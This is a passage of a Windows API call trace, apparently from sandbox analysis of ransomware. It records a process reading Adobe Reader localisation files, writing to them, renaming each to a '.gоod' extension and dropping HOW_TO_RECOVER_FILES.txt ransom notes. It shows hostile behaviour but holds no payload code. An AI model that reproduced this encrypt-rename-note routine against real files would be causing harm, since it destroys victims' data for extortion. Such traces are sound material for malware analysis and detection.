(hFile=0x860) returned 0x1 [0240.198] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb20) returned 1 [0240.198] GetFileType (hFile=0x860) returned 0x1 [0240.198] GetFileSize (in: hFile=0x860, lpFileSizeHigh=0x203ebd58 | out: lpFileSizeHigh=0x203ebd58*=0x0) returned 0x41a [0240.198] ReadFile (in: hFile=0x860, lpBuffer=0x3aba118, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203ebc88, lpOverlapped=0x0 | out: lpBuffer=0x3aba118*, lpNumberOfBytesRead=0x203ebc88*=0x41a, lpOverlapped=0x0) returned 1 [0240.364] CloseHandle (hObject=0x860) returned 1 [0240.734] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eb690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x79 [0240.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebbb0) returned 1 [0240.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0240.735] GetFileType (hFile=0x860) returned 0x1 [0240.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebb20) returned 1 [0240.735] GetFileType (hFile=0x860) returned 0x1 [0240.735] WriteFile (in: hFile=0x860, lpBuffer=0x392a0f8*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x203ebb98, lpOverlapped=0x0 | out: lpBuffer=0x392a0f8*, lpNumberOfBytesWritten=0x203ebb98*=0x420, lpOverlapped=0x0) returned 1 [0240.736] CloseHandle (hObject=0x860) returned 1 [0240.736] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js", lpFilePart=0x0) returned 0x79 [0240.736] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eb830, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7e [0240.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203ebcc0) returned 1 [0240.736] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203ebda0 | out: lpFileInformation=0x203ebda0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdd469f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdd469f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8bb3a98d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x420)) returned 1 [0240.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203ebc80) returned 1 [0240.736] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ui-strings.js.gоod")) returned 1 [0240.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0240.738] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk", lpFilePart=0x0) returned 0x71 [0240.738] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a680 [0240.739] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.739] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0240.739] FindNextFileW (in: hFindFile=0x134a680, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0240.739] FindClose (in: hFindFile=0x134a680 | out: hFindFile=0x134a680) returned 1 [0240.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0240.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0240.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0240.739] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk", lpFilePart=0x0) returned 0x71 [0240.739] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ab00 [0240.739] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.740] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0240.740] FindNextFileW (in: hFindFile=0x134ab00, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb31e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0240.740] FindClose (in: hFindFile=0x134ab00 | out: hFindFile=0x134ab00) returned 1 [0240.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0240.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0240.740] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0240.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0240.740] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x393a060 | out: lpFileInformation=0x393a060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb31e)) returned 1 [0240.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0240.740] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0240.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0240.741] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0240.741] GetFileType (hFile=0x860) returned 0x1 [0240.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0240.741] GetFileType (hFile=0x860) returned 0x1 [0240.741] SetFilePointer (in: hFile=0x860, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0240.741] ReadFile (in: hFile=0x860, lpBuffer=0x393a558, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x393a558*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0241.695] CloseHandle (hObject=0x860) returned 1 [0241.695] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0241.695] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0241.695] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0241.696] GetFileType (hFile=0x860) returned 0x1 [0241.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0241.696] GetFileType (hFile=0x860) returned 0x1 [0241.696] SetFilePointer (in: hFile=0x860, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xb31e [0241.696] WriteFile (in: hFile=0x860, lpBuffer=0x38017b0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x38017b0*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0241.697] CloseHandle (hObject=0x860) returned 1 [0241.697] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0241.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0241.697] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0241.697] GetFileType (hFile=0x860) returned 0x1 [0241.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0241.698] GetFileType (hFile=0x860) returned 0x1 [0241.698] ReadFile (in: hFile=0x860, lpBuffer=0x3803ae0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x3803ae0*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0241.726] CloseHandle (hObject=0x860) returned 1 [0241.726] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0241.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0241.726] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x860 [0241.727] GetFileType (hFile=0x860) returned 0x1 [0241.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0241.727] GetFileType (hFile=0x860) returned 0x1 [0241.727] WriteFile (in: hFile=0x860, lpBuffer=0x38027c8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x38027c8*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0241.727] CloseHandle (hObject=0x860) returned 1 [0241.727] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0241.727] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0241.727] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0241.727] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8c4c3fd8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb32e)) returned 1 [0241.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0241.727] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\ui-strings.js.gоod")) returned 1 [0241.728] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0241.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0241.728] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\da-dk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x860 [0241.729] GetFileType (hFile=0x860) returned 0x1 [0241.729] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0241.729] GetFileType (hFile=0x860) returned 0x1 [0241.730] WriteFile (in: hFile=0x860, lpBuffer=0x38836a8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x38836a8*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0241.731] CloseHandle (hObject=0x860) returned 1 [0241.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0241.731] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de", lpFilePart=0x0) returned 0x71 [0241.731] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0242.508] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.508] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0242.508] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0242.508] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0242.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0242.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0242.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0242.508] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\de-de", nBufferLength=0x105, 